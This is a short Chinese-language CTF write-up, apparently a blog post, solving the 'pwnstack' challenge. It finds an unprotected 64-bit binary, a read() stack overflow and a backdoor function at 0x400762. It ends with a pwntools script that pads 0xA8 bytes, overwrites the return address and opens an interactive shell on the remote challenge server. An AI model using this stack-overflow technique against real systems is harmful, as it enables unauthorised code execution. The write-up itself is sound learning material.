pwn002

pwnstack

  • 下载附件,拖到kali里面,终端查看信息

  • 4da0363457454ddca4d814723a85a9ec.png
  • 64位系统,没有栈保护

  • 将 pwn2 文件拖到 IDA64 进行分析

  • 点 main 函数,f5反汇编,继续点击 vuln 函数查看

  • 00de2b652a464988bf5d1062b2ac13d8.png
  • 看到 read(),可用于填充数据使其栈溢出(填充数据大于本身)

  • 其地址为 0xA0

  • 接着查看 backdoor 函数,当然会有后门

  • cf9c0dac9095441184a9a1942209adbc.png
  • 查看该函数地址,即为我们要覆盖的地址 0x400762

  • 00d05f750b484f708f4e3f4a5832fd01.png
  • 构造payload 其中要加上 0x08 (64系统的头部位置)

  • from pwn import *
    target = remote("61.147.171.105",64910)                 //建立连接
    payload = b'a'*(0xA0) +b'a'*(0x08)+ p64(0x400762)       
    target.sendline(payload)                              //发送数据
    target.interactive()
  • 4f95458d0df14b8ea32a33e4cd64e890.png
  • 至此已成艺术

声明:本人 newbie ,很多原理有待学习,比如汇编语言,函数调用,栈溢出原理等等。

浅浅记录一下。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值